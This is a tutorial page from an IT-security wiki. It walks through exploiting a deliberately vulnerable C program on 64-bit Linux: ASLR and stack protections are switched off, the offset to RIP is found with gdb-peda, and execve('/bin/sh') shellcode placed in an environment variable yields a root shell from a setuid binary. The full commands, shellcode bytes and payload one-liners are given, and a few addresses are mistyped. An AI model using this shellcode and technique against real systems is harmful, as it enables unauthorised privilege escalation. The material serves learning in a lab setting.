en:it-security:blog:buffer_overflow_x64

Approved 2024/04/14 12:46 by psycore (version: 7) | Approver: psycore

Buffer overflow in the 64-bit stack - part 1

In this tutorial, we will create a buffer overflow on the 64-bit stack to gain root privileges.1)

Technical details on buffer overflows, stack etc. can be found here2)

Attention!

The techniques and methods in this article are for learning purposes only. Misuse is punishable!

What is needed?

  • Kali Linux (or other distri)
  • GDB Debugger
  • gdb-peda
  • gcc compiler



gdb-peda extends the debugger GDB with helpful commands to exploit.3)

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit



ASLR must be deactivated so that memory areas are not randomised.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space



// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
 
#include <stdio.h>
#include <unistd.h>
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}



Compile

gcc -fno-stack-protector -z execstack bof.c -o bof



classDiagram note for Buffer "Overwrite Buffer" note for RBP "Overwrite RBP" note for RIP "place return address" Buffer --> RBP RBP --> RIP RIP --> 0x00007FFFFFFFC19F Buffer: AAAAAAAAAAAA RBP: BBBBBBBBBBBBBB RIP: 0x00007FFFFFFFFFC19F class 0x00007FFFFFFFC19F{ Shellcode() root shell }

Of interest to us is the register RIP. This contains a return address that points to another area in the code. We overwrite this return address with the buffer overflow. But first we have to find out how we can do this.

We start our programme in the debugger and generate a 200-character string:

gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin
Offset Fuzzing



How many bytes must be transferred before RIP is overwritten?

pattern_offset A7AAMAAiA
Found at Offset 104



104 bytes must be transferred until the buffer overflows. We generate 104 characters and a canonical return address. To do this, we must use our pseudo address 0x414141414141 into canonical address format by appending 2 high bytes:

0x0000414141414141



We convert this into shellcode:

\x41\x41\x41\x41\x41\x41\x00\x00



In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilised for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.4)



So let's debug again, with the parameters we have found out

python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin



we have overwritten RIP with our pseudo address



In the last step, we create a corresponding exploit to generate the root shell.

The Shellcode5) is stored in an environment variable

export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`





GetEnvVar

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
	char *ptr;
 
	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}



Compile

gcc getenvar.c -o getenvar



Execute

./getenvar PWN ./bof
The offset of the environment variable in the stack

The address of the environment variable is 0x7fffffffffef9eThis corresponds to the canonical address 0x00007fffffffffef9e'. Our shellcode would now correspond:

\x9e\xef\xff\xff\xff\x7f\x00\x00



First we set root rights to the vulnerable file and start it6)

sudo chown root bof
sudo chmod 4755 bof
./bof

Now we can execute the buffer overflow:

(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof
root Shell!



Project files nosoc-repo-bof64.zip ZIP
Size 5.76 KB
Prüfsumme (SHA256) 191e6f1811018970776e3bf035ff460033a47da62335fe5c9475a460b02a10d3

Enter your comment:
164 +7 =
 
  • en/it-security/blog/buffer_overflow_x64.txt
  • Last modified: 2024/04/14 12:46
  • by psycore